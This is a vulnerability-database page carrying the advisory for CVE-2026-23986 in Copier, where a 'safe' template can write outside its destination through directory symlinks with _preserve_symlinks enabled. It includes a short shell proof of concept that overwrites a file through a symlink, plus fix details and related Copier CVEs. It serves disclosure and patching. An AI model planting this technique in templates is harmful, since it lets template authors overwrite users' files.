CVE-2026-23986: Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true
Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with preservesymlinks: true and a generated directory structure whose…
Published Jan 21, 2026 · Updated Feb 2, 2026
Affected packages
copier
- Ecosystem
- PyPI
- Affected
- < 9.11.2
- Fixed in
- 9.11.2
- Check
pip show copier
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
[!NOTE] > > At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using `os.scandir` which yields directory entries in arbitrary order.
Reproducible example (may or may not work depending on directory entry yield order):
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd
mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd
uvx copier copy --overwrite src/ dst/
cat other/sensitive.txt
# overwrittenPatches
n/a
Workarounds
n/a
References
n/a
Credited to cbrown1234, sisp.
References
- https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh
- https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6
- https://github.com/copier-org/copier/releases/tag/v9.11.2
- https://nvd.nist.gov/vuln/detail/CVE-2026-23986
- https://github.com/advisories/GHSA-4fqp-r85r-hxqh
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-53951
Copier has a trust-prefix bypass via path traversal that runs tasks unprompted
high8.8Aug 19, 2026CVE-2026-34726
Copier `_subdirectory` allows template root escape via parent-directory traversal
medium4.4Apr 1, 2026CVE-2026-34730
Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode
medium5.5Apr 1, 2026CVE-2026-23968
Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false
medium5.5Jan 21, 2026CVE-2025-55201
Copier's safe template has arbitrary filesystem read/write access
high8.5Aug 18, 2025CVE-2025-55214
Copier's safe template has filesystem write access outside destination path
medium6.9Aug 18, 2025
